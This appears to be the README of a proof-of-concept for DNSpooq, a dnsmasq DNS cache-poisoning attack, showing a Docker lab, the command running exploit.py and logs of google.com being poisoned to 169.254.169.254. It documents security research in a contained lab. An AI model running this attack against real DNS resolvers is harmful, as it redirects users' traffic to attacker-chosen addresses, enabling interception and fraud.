knqyf263/dnspooqDNSpooq - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)
DNSpooq PoC - envenenamento de cache do dnsmasq (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)
Apenas para fins educacionais
$ docker-compose up -d
$ docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds
$ docker-compose logs -f forwarder
...
forwarder_1 | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1 | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1 | dnsmasq[1]: cached example.com is <CNAME>
forwarder_1 | dnsmasq[1]: cached google.com is 169.254.169.254
$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1 | Sniffing...
cache_1 | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1 | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1 | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 18189, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 47303, Query: b'example.com.'
Teppei Fukuda